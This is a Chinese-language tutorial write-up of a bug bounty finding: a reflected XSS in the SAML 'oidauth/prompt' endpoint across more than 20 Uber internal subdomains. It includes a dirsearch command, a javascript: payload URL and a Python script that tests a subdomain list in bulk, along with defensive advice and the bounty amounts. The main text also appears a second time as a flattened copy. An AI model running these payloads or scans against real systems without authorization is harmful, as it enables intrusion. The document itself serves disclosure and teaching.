我是如何发现一个影响20个Uber子域名的XSS
字数 1355 2025-08-26 22:11:15

基于SAML认证的XSS漏洞挖掘实战教学

1. 背景知识

1.1 SAML认证概述

SAML (Security Assertion Markup Language) 是一种用于身份验证和授权的开放标准。在SAML流程中:

  • 服务提供者(SP)依赖身份提供者(IdP)进行用户认证
  • 用户访问SP时被重定向到IdP进行认证
  • 认证成功后,IdP返回包含用户信息的SAML响应给SP

1.2 关键概念

  • SAMLRequest: 从SP发送到IdP的认证请求
  • SAMLResponse: 从IdP返回给SP的认证响应
  • RelayState: 认证完成后重定向回SP的URL

2. 漏洞挖掘流程

2.1 信息收集阶段

  1. 子域名枚举

    • 使用工具如aquatone进行子域名发现
    • 重点关注目标范围内的子域名(如uberinternal.com)
    • 收集子域名的截图和基本信息
  2. 认证流程分析

    • 观察内部系统是否使用SAML认证(本例中重定向到uber.onelogin.com)
    • 识别SAML请求参数(本例中的base64编码的SAMLRequest)

2.2 漏洞发现阶段

2.2.1 工具准备

  • SAML解码工具: 用于分析SAML请求/响应
  • BurpSuite SAML插件: 辅助测试SAML流程
  • 自定义工具SAMLExtractor: 批量提取URL的SAML回调

2.2.2 目录爆破

使用dirsearch工具扫描oidauth目录:

./dirsearch.py -u https://carbon-prototype.uberinternal.com:443/oidauth/ -ejson

发现关键端点:

  • /oidauth/logout: 注销页面
  • /oidauth/prompt: 重定向端点

2.2.3 XSS漏洞验证

  1. 构造恶意URL:
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=javascript:alert(123);//Fady&return_to=/?openid_c=1542156766.5/SnNQg==&splash_disabled=1
  1. 关键参数:
  • base: 可控的URL参数,可注入JavaScript代码
  • return_to: 认证后重定向URL
  1. 漏洞特征:
  • 反射型XSS
  • 结合点击劫持可增强攻击效果

2.3 批量验证方法

使用Python脚本批量检测XSS漏洞:

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("uberSAMLOIDAUTH") as urlList:
    for url in urlList:
        url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
        request = requests.get(url2, allow_redirects=True,verify=False)
        doesit = Fore.RED + "no"
        if ("Fady" in request.content):
            doesit = Fore.GREEN + "yes"
        print(Fore.WHITE + url2)
        print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)

脚本逻辑:

  1. 读取子域名列表
  2. 构造包含XSS payload的URL
  3. 发送请求并检查响应中是否包含payload标记("Fady")
  4. 输出检测结果

3. 漏洞利用与报告

3.1 漏洞影响

  • 影响超过20个Uber子域名
  • 可执行任意JavaScript代码
  • 结合点击劫持可诱导用户点击

3.2 报告内容

  1. 第一份报告:

    • 影响多个uberinternal.com子域
    • 奖金: $2,000
  2. 第二份报告:

    • 影响eng.uberinternal.com和coeshift.corp.uber.internal
    • 奖金: $500

4. 防御建议

4.1 开发层面

  1. 对所有用户输入进行严格过滤和编码
  2. 避免在重定向中使用未经验证的用户输入
  3. 实现Content Security Policy (CSP)

4.2 测试层面

  1. 定期进行安全审计和渗透测试
  2. 对SAML实现进行专项安全测试
  3. 自动化扫描XSS等常见漏洞

5. 总结

本案例展示了如何通过以下步骤发现SAML认证系统中的XSS漏洞:

  1. 全面的信息收集和子域名枚举
  2. 分析认证流程和SAML实现
  3. 针对关键端点进行测试
  4. 开发自动化工具进行批量验证
  5. 编写清晰的技术报告

这种系统化的方法不仅适用于SAML系统,也可应用于其他认证协议的漏洞挖掘。

基于SAML认证的XSS漏洞挖掘实战教学 1. 背景知识 1.1 SAML认证概述 SAML (Security Assertion Markup Language) 是一种用于身份验证和授权的开放标准。在SAML流程中: 服务提供者(SP)依赖身份提供者(IdP)进行用户认证 用户访问SP时被重定向到IdP进行认证 认证成功后,IdP返回包含用户信息的SAML响应给SP 1.2 关键概念 SAMLRequest : 从SP发送到IdP的认证请求 SAMLResponse : 从IdP返回给SP的认证响应 RelayState : 认证完成后重定向回SP的URL 2. 漏洞挖掘流程 2.1 信息收集阶段 子域名枚举 使用工具如 aquatone 进行子域名发现 重点关注目标范围内的子域名(如uberinternal.com) 收集子域名的截图和基本信息 认证流程分析 观察内部系统是否使用SAML认证(本例中重定向到uber.onelogin.com) 识别SAML请求参数(本例中的base64编码的SAMLRequest) 2.2 漏洞发现阶段 2.2.1 工具准备 SAML解码工具 : 用于分析SAML请求/响应 BurpSuite SAML插件 : 辅助测试SAML流程 自定义工具SAMLExtractor : 批量提取URL的SAML回调 2.2.2 目录爆破 使用 dirsearch 工具扫描oidauth目录: 发现关键端点: /oidauth/logout : 注销页面 /oidauth/prompt : 重定向端点 2.2.3 XSS漏洞验证 构造恶意URL: 关键参数: base : 可控的URL参数,可注入JavaScript代码 return_to : 认证后重定向URL 漏洞特征: 反射型XSS 结合点击劫持可增强攻击效果 2.3 批量验证方法 使用Python脚本批量检测XSS漏洞: 脚本逻辑: 读取子域名列表 构造包含XSS payload的URL 发送请求并检查响应中是否包含payload标记("Fady") 输出检测结果 3. 漏洞利用与报告 3.1 漏洞影响 影响超过20个Uber子域名 可执行任意JavaScript代码 结合点击劫持可诱导用户点击 3.2 报告内容 第一份报告 : 影响多个uberinternal.com子域 奖金: $2,000 第二份报告 : 影响eng.uberinternal.com和coeshift.corp.uber.internal 奖金: $500 4. 防御建议 4.1 开发层面 对所有用户输入进行严格过滤和编码 避免在重定向中使用未经验证的用户输入 实现Content Security Policy (CSP) 4.2 测试层面 定期进行安全审计和渗透测试 对SAML实现进行专项安全测试 自动化扫描XSS等常见漏洞 5. 总结 本案例展示了如何通过以下步骤发现SAML认证系统中的XSS漏洞: 全面的信息收集和子域名枚举 分析认证流程和SAML实现 针对关键端点进行测试 开发自动化工具进行批量验证 编写清晰的技术报告 这种系统化的方法不仅适用于SAML系统,也可应用于其他认证协议的漏洞挖掘。